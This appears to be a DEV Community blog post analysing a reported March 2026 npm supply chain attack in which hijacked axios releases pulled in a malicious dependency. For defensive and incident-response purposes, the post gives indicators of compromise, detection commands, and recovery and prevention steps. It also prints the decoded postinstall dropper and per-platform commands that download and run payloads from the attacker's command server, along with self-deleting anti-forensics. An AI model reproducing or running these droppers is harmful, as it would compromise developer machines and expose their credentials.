DEV Community

Cover image for The Axios npm Supply Chain Attack (March 2026): A 2-Second Breach Window That Compromised the JavaScript Ecosystem
Yug Jadvani
Yug Jadvani

Posted on

The Axios npm Supply Chain Attack (March 2026): A 2-Second Breach Window That Compromised the JavaScript Ecosystem

You run npm install. It’s muscle memory at this point.

Dependencies resolve. Progress bar moves. Nothing unusual.

1.1 seconds later — your machine has already made an outbound call to a command-and-control (C2) server.

Not after install. Not when you run the app.

During install.

Before npm even finishes.

That’s exactly what happened in the March 2026 npm supply chain attackinvolving axios@1.14.1 and axios@0.30.4. And if you installed either version, you didn’t just pull a library—you executed a remote access trojan (RAT) on your machine.

This article breaks down the attack in full technical detail — how it worked, how to detect it, and what you need to do right now.


Executive Summary

On March 30–31, 2026, two malicious versions of axios were published to npm:

  • axios@1.14.1
  • axios@0.30.4

These versions were not modified internally. Instead, they injected a malicious dependency:

plain-crypto-js@4.2.1
Enter fullscreen mode Exit fullscreen mode

This package executed a postinstall script exploit, which:

  1. Dropped a cross-platform RAT (macOS, Windows, Linux)
  2. Contacted a C2 server within ~2 seconds
  3. Downloaded and executed a second-stage payload
  4. Deleted itself and replaced evidence with a clean decoy

⚠️ If you installed these versions, assume compromise.

Impact Scope

  • Over 100M weekly downloads ecosystem exposure (axios)
  • Affects:
  • Developer machines
  • CI/CD pipelines
  • Build systems
  • Zero malicious code in axios itself → harder detection
  • Fully automated execution via npm lifecycle scripts

Attack Timeline (UTC)

2026–03–30 05:57plain-crypto-js@4.2.0 (clean decoy) published 

2026-03-30 23:59plain-crypto-js@4.2.1 (malicious) published 

2026-03-31 00:21axios@1.14.1 published (compromised account) 

2026-03-31 01:00axios@0.30.4 published

~03:15 npm removes malicious axios versions 

03:25 Security hold placed

04:26 Malicious dependency replaced with stub

⏱️ Total exposure window: ~3 hours


Deep Dive: How the Attack Worked

1. Maintainer Account Hijack

The attacker compromised the axios maintainer account and bypassed CI/CD protections.

Key anomaly:

// Legitimate release  
"\_npmUser": {  
  "name": "GitHub Actions",  
  "trustedPublisher": { "id": "github" }  
}
Enter fullscreen mode Exit fullscreen mode
// Malicious release  
"\_npmUser": {  
  "name": "jasonsaayman",  
  "email": "ifstap@proton.me"  
}
Enter fullscreen mode Exit fullscreen mode

No GitHub Actions. No OIDC. No commit.

Manual publish using stolen token.


2. Dependency Injection

Only one file changed:

\+ "plain-crypto-js": "^4.2.1"
Enter fullscreen mode Exit fullscreen mode

That’s it.

Everything else was identical.

⚠️ This is what makes modern supply chain attacks dangerous — minimal diff, maximum impact.


3. The Weapon: postinstall Script

"scripts": {  
  "postinstall": "node setup.js"  
}
Enter fullscreen mode Exit fullscreen mode

This executes automatically on install.

No import needed.

No runtime usage.

Just install → execute.


4. Obfuscated Dropper (Decoded)

The malware used layered obfuscation (XOR + Base64).

Decoded core:

const fs = require("fs");  
const os = require("os");  
const { execSync } = require("child\_process");
Enter fullscreen mode Exit fullscreen mode
const c2 = "http://sfrclak.com:8000/6202033";  
const platform = os.platform();let cmd = "";if (platform === "darwin") {  
  cmd = "...AppleScript payload...";  
} else if (platform === "win32") {  
  cmd = "...VBScript payload...";  
} else {  
  cmd = \`curl -o /tmp/ld.py -d packages.npm.org/product2 -s ${c2} &&  
         nohup python3 /tmp/ld.py ${c2} > /dev/null 2>&1 &\`;  
}execSync(cmd);// Anti-forensics  
fs.unlink(\_\_filename);  
fs.unlink("package.json");  
fs.rename("package.md", "package.json");
Enter fullscreen mode Exit fullscreen mode

Key behaviors

  • OS detection
  • C2 communication
  • Background execution (nohupcscript)
  • Self-deletion
  • Evidence replacement

Platform-Specific Payloads

macOS (AppleScript RAT)

set {a, s, d} to {"", "http://sfrclak.com:8000/6202033", "/Library/Caches/com.apple.act.mond"}  
do shell script "curl -o " & d & " -d packages.npm.org/product0 -s " & s & " &&  
chmod 770 " & d & " &&  
/bin/zsh -c \\"" & d & " " & s & " &\\""
Enter fullscreen mode Exit fullscreen mode

Behavior

  • Drops binary to:/Library/Caches/com.apple.act.mond
  • Executes silently
  • Mimics Apple system naming

Windows (VBScript + PowerShell RAT)

Set objShell = CreateObject("WScript.Shell")  
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""http://sfrclak.com:8000/6202033"" > ""%TEMP%\\6202033.ps1"" & powershell.exe -w hidden -ep bypass -file ""%TEMP%\\6202033.ps1""", 0, False
Enter fullscreen mode Exit fullscreen mode

Behavior

  • Downloads PowerShell payload
  • Executes hidden
  • Drops persistent file:
%PROGRAMDATA%\\wt.exe
Enter fullscreen mode Exit fullscreen mode

Linux (Python RAT)

curl -o /tmp/ld.py \\  
  -d packages.npm.org/product2 \\  
  -s http://sfrclak.com:8000/6202033 \\  
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 &
Enter fullscreen mode Exit fullscreen mode

Behavior

  • Saves payload to:/tmp/ld.py
  • Runs detached from npm process
  • Survives install lifecycle

Runtime Validation (Proof It Executed)

From Harden-Runner logs:

01:30:49Z npm install starts  
01:30:50Z node setup.js executes  
01:30:51Z curl → sfrclak.com:8000
Enter fullscreen mode Exit fullscreen mode

👉 C2 contact within ~2 seconds

Later:

01:31:27Z nohup python3 /tmp/ld.py  
ppid: 1 (orphaned process)
Enter fullscreen mode Exit fullscreen mode

Key Insight

  • Malware detaches itself from npm
  • Continues running after install completes
  • Evades process tracking

Indicators of Compromise (IoCs)

Malicious Packages

Network

sfrclak.com  
142.11.206.73:8000
Enter fullscreen mode Exit fullscreen mode

File System

macOS

/Library/Caches/com.apple.act.mond
Enter fullscreen mode Exit fullscreen mode

Linux

/tmp/ld.py
Enter fullscreen mode Exit fullscreen mode

Windows

%PROGRAMDATA%\\wt.exe
Enter fullscreen mode Exit fullscreen mode

Detection Guide

1. Check Dependencies

npm list axios | grep -E "1\\.14\\.1|0\\.30\\.4"
Enter fullscreen mode Exit fullscreen mode
grep -A1 '"axios"' package\-lock.json | grep "1.14.1"
Enter fullscreen mode Exit fullscreen mode

2. Check for Malicious Dependency

ls node\_modules/plain-crypto-js

Enter fullscreen mode Exit fullscreen mode

⚠️ If this folder exists → the dropper executed.

3. Scan Entire Machine

find ~ -type d -name "plain-crypto-js" 2\>/dev/null

Enter fullscreen mode Exit fullscreen mode

4. Check RAT Artifacts

\# macOS  
ls /Library/Caches/com.apple.act.mond
Enter fullscreen mode Exit fullscreen mode
\# Linux  
ls /tmp/ld.py\# Windows  
dir "%PROGRAMDATA%\\wt.exe"
Enter fullscreen mode Exit fullscreen mode

5. Network Logs

Search for:

sfrclak.com  
142.11.206.73  
port 8000
Enter fullscreen mode Exit fullscreen mode

Recovery Steps

1. Repositories

npm install axios@1.14.0  
rm \-rf node\_modules  
npm install \--ignore-scripts
Enter fullscreen mode Exit fullscreen mode

Add protection:

"overrides": {  
  "axios": "1.14.0"  
}
Enter fullscreen mode Exit fullscreen mode

2. CI/CD

  • Rotate ALL secrets:
  • npm tokens
  • AWS keys
  • SSH keys
  • Use:
npm ci \--ignore-scripts
Enter fullscreen mode Exit fullscreen mode

3. Developer Machines

⚠️ Do NOT attempt partial cleanup.

Steps:

  1. Disconnect from network
  2. Inventory secrets
  3. Reformat machine
  4. Rotate all credentials

Prevention: Cooldown Policies

npm

min-release-age\=7d

Enter fullscreen mode Exit fullscreen mode

pnpm

minimum-release-age\=7d

Enter fullscreen mode Exit fullscreen mode

Yarn

npmMinimalAgeGate: "7d"

Enter fullscreen mode Exit fullscreen mode

Bun

\[install\]  
minimumReleaseAge = 604800
Enter fullscreen mode Exit fullscreen mode

CI Policy

npm ci \--ignore-scripts

Enter fullscreen mode Exit fullscreen mode

⚠️ Most npm malware is removed within hours. Cooldowns protect you from zero-day supply chain attacks.


Why This Attack Matters

This wasn’t a noisy attack.

It was precise:

  • No code changes in axios
  • Only one dependency added
  • Fully automated execution
  • Self-deleting payload
  • Cross-platform RAT

This is the evolution of the npm supply chain attack:

Minimal footprint. Maximum impact.


Call to Action

If you take one thing from this article, let it be this:

Check your systems today.

  • Scan your repos
  • Inspect your machines
  • Review your CI logs

If affected:

  • Rotate credentials immediately
  • Rebuild compromised systems
  • Block C2 domains

And starting tomorrow:

  • Implement cooldown policies
  • Disable install scripts in CI
  • Monitor dependencies actively

Because the next attack won’t announce itself.

It’ll execute silently —

in the 2 seconds you weren’t looking.

Top comments (0)